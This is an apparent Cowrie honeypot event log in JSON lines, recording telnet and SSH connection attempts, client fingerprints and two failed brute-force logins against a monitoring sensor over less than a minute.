{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59286,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9c5380d37d1","protocol":"telnet","message":"New connection: 103.137.231.186:59286 (159.203.135.109:23) [session: c9c5380d37d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:05.085083Z"}
{"eventid":"cowrie.session.closed","duration":41.48757576942444,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:06.071416Z","src_ip":"159.203.13.64","session":"92402f475785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59294,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc19d70cf066","protocol":"telnet","message":"New connection: 103.137.231.186:59294 (159.203.135.109:23) [session: bc19d70cf066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:06.152168Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59300,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c14fb22abbe","protocol":"telnet","message":"New connection: 103.137.231.186:59300 (159.203.135.109:23) [session: 5c14fb22abbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:06.627894Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59302,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef176d405636","protocol":"telnet","message":"New connection: 103.137.231.186:59302 (159.203.135.109:23) [session: ef176d405636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:06.997776Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59318,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a91423f0056","protocol":"telnet","message":"New connection: 103.137.231.186:59318 (159.203.135.109:23) [session: 5a91423f0056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:07.153036Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59328,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf12f94bddf2","protocol":"telnet","message":"New connection: 103.137.231.186:59328 (159.203.135.109:23) [session: cf12f94bddf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:07.272223Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59342,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0e45155529","protocol":"telnet","message":"New connection: 103.137.231.186:59342 (159.203.135.109:23) [session: dd0e45155529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:08.038794Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"63adb90d0ecc","protocol":"telnet","message":"New connection: 103.137.231.186:44250 (159.203.135.109:23) [session: 63adb90d0ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:09.221798Z"}
{"eventid":"cowrie.session.closed","duration":120.0025999546051,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:12.493339Z","src_ip":"64.35.145.66","session":"416a14052356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d5c126a7d2e","protocol":"telnet","message":"New connection: 103.137.231.186:44264 (159.203.135.109:23) [session: 7d5c126a7d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:13.561244Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":40648,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ff3a814af4","protocol":"ssh","message":"New connection: 45.78.194.242:40648 (10.17.0.5:22) [session: 00ff3a814af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:14.742141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:14.751304Z","src_ip":"45.78.194.242","session":"00ff3a814af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:15.929026Z","src_ip":"45.78.194.242","session":"00ff3a814af4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":44280,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba16dd1c13d","protocol":"telnet","message":"New connection: 103.137.231.186:44280 (159.203.135.109:23) [session: cba16dd1c13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:15.978467Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41032,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a8181862a7","protocol":"telnet","message":"New connection: 208.82.116.131:41032 (159.203.135.109:23) [session: 29a8181862a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:16.224478Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41046,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdfb42dc8b76","protocol":"telnet","message":"New connection: 208.82.116.131:41046 (159.203.135.109:23) [session: fdfb42dc8b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:16.272064Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41070,"dst_ip":"159.203.135.109","dst_port":23,"session":"6397317000a9","protocol":"telnet","message":"New connection: 208.82.116.131:41070 (159.203.135.109:23) [session: 6397317000a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:16.320416Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41110,"dst_ip":"159.203.135.109","dst_port":23,"session":"18c0d74918b6","protocol":"telnet","message":"New connection: 208.82.116.131:41110 (159.203.135.109:23) [session: 18c0d74918b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:16.451834Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":44296,"dst_ip":"159.203.135.109","dst_port":23,"session":"00a620e5f2e7","protocol":"telnet","message":"New connection: 103.137.231.186:44296 (159.203.135.109:23) [session: 00a620e5f2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:17.389136Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46942,"dst_ip":"159.203.135.109","dst_port":22,"session":"79e84ced09a1","protocol":"ssh","message":"New connection: 159.203.92.129:46942 (159.203.135.109:22) [session: 79e84ced09a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:17.808649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:17.931863Z","src_ip":"159.203.92.129","session":"79e84ced09a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:17.936221Z","src_ip":"159.203.92.129","session":"79e84ced09a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.351200580596924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:18.321849Z","src_ip":"103.137.231.186","session":"8bf8e3bf993c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amanda","password":"root","message":"login attempt [amanda/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:19.057186Z","src_ip":"159.203.92.129","session":"79e84ced09a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.540303945541382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:19.456014Z","src_ip":"103.137.231.186","session":"f53efea758c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00159764289856,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:19.840479Z","src_ip":"64.35.145.66","session":"69f1e9e59556","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"kiskacsa","message":"login attempt [root/kiskacsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:19.950684Z","src_ip":"45.78.194.242","session":"00ff3a814af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:20.188272Z","src_ip":"159.203.92.129","session":"79e84ced09a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.38025689125061,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:20.931867Z","src_ip":"159.203.13.64","session":"19e21a646d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.349461555480957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:21.167084Z","src_ip":"103.137.231.186","session":"cfaa11f0a5c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:21.194394Z","src_ip":"45.78.194.242","session":"00ff3a814af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.144587993621826,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:22.464893Z","src_ip":"208.82.116.131","session":"6397317000a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40041160583496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:24.198118Z","src_ip":"103.137.231.186","session":"66a4ed1e64fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73158288002014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:24.222829Z","src_ip":"103.137.231.186","session":"11e64a54f65d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.3676872253418,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:24.978245Z","src_ip":"159.203.13.64","session":"3055a567abeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":46392,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee99a6e0cab","protocol":"telnet","message":"New connection: 103.137.231.186:46392 (159.203.135.109:23) [session: 7ee99a6e0cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:27.085077Z"}
{"eventid":"cowrie.session.closed","duration":45.5413658618927,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:27.573891Z","src_ip":"208.82.116.131","session":"5bfa46ffbf12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225000858306885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:29.210951Z","src_ip":"103.137.231.186","session":"d3e604946a41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43604,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca71b20590b","protocol":"telnet","message":"New connection: 162.253.42.116:43604 (10.17.0.5:23) [session: 0ca71b20590b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:29.911078Z"}
{"eventid":"cowrie.session.closed","duration":30.776741981506348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:31.164692Z","src_ip":"103.137.231.186","session":"e06e0e4757ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36086,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf23764da7c5","protocol":"telnet","message":"New connection: 103.137.231.186:36086 (159.203.135.109:23) [session: bf23764da7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:31.508849Z"}
{"eventid":"cowrie.session.closed","duration":30.861578941345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:32.130153Z","src_ip":"103.137.231.186","session":"7a658ac1dcb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.841436624526978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:32.822235Z","src_ip":"103.137.231.186","session":"5805a5673510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36074,"dst_ip":"159.203.135.109","dst_port":23,"session":"5718999bf514","protocol":"telnet","message":"New connection: 103.137.231.186:36074 (159.203.135.109:23) [session: 5718999bf514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:33.038235Z"}
{"eventid":"cowrie.session.closed","duration":31.64968252182007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:33.838689Z","src_ip":"103.137.231.186","session":"8770c843382e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05751919746399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:34.136330Z","src_ip":"103.137.231.186","session":"f1b7027f7f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874078273773193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:34.211013Z","src_ip":"103.137.231.186","session":"6aa3ad5e110b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.56005024909973,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:34.971689Z","src_ip":"104.248.46.74","session":"8f64ca7ec12e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.443999767303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:35.112108Z","src_ip":"103.137.231.186","session":"e43d989af218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29167604446411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:35.190352Z","src_ip":"103.137.231.186","session":"17357561e7ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36096,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3bdf8a2d30","protocol":"telnet","message":"New connection: 103.137.231.186:36096 (159.203.135.109:23) [session: ec3bdf8a2d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:36.169363Z"}
{"eventid":"cowrie.session.closed","duration":31.16048550605774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:36.245424Z","src_ip":"103.137.231.186","session":"c9c5380d37d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36110,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5a51ae49e99","protocol":"telnet","message":"New connection: 103.137.231.186:36110 (159.203.135.109:23) [session: b5a51ae49e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:36.453343Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36126,"dst_ip":"159.203.135.109","dst_port":23,"session":"be8106f25d43","protocol":"telnet","message":"New connection: 103.137.231.186:36126 (159.203.135.109:23) [session: be8106f25d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:36.867256Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51022,"dst_ip":"10.17.0.5","dst_port":23,"session":"cda9522a69cf","protocol":"telnet","message":"New connection: 162.253.42.116:51022 (10.17.0.5:23) [session: cda9522a69cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:36.966748Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50176,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee6f72a519f4","protocol":"telnet","message":"New connection: 159.203.13.64:50176 (10.17.0.5:23) [session: ee6f72a519f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:37.092085Z"}
{"eventid":"cowrie.session.closed","duration":30.497352838516235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:37.125144Z","src_ip":"103.137.231.186","session":"5c14fb22abbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.617740154266357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:37.769792Z","src_ip":"103.137.231.186","session":"bc19d70cf066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15302538871765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:38.149689Z","src_ip":"103.137.231.186","session":"ef176d405636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05389928817749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:38.206843Z","src_ip":"103.137.231.186","session":"5a91423f0056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36146,"dst_ip":"159.203.135.109","dst_port":23,"session":"5227c2df18b6","protocol":"telnet","message":"New connection: 103.137.231.186:36146 (159.203.135.109:23) [session: 5227c2df18b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:38.810996Z"}
{"eventid":"cowrie.session.closed","duration":31.644977569580078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:38.917043Z","src_ip":"103.137.231.186","session":"cf12f94bddf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.31150031089783,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:39.261307Z","src_ip":"104.248.46.74","session":"6ee6f5efbfaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.422022581100464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:39.460704Z","src_ip":"103.137.231.186","session":"dd0e45155529","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910101175308228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:40.131990Z","src_ip":"103.137.231.186","session":"63adb90d0ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":36134,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ec5346d963","protocol":"telnet","message":"New connection: 103.137.231.186:36134 (159.203.135.109:23) [session: d4ec5346d963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:41.171932Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35780,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a0ebaa3f9b8","protocol":"telnet","message":"New connection: 103.137.231.186:35780 (159.203.135.109:23) [session: 3a0ebaa3f9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:43.220066Z"}
{"eventid":"cowrie.session.closed","duration":30.62999939918518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:44.191107Z","src_ip":"103.137.231.186","session":"7d5c126a7d2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151198387145996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:47.129545Z","src_ip":"103.137.231.186","session":"cba16dd1c13d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24070930480957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:48.629711Z","src_ip":"103.137.231.186","session":"00a620e5f2e7","protocol":"telnet"}
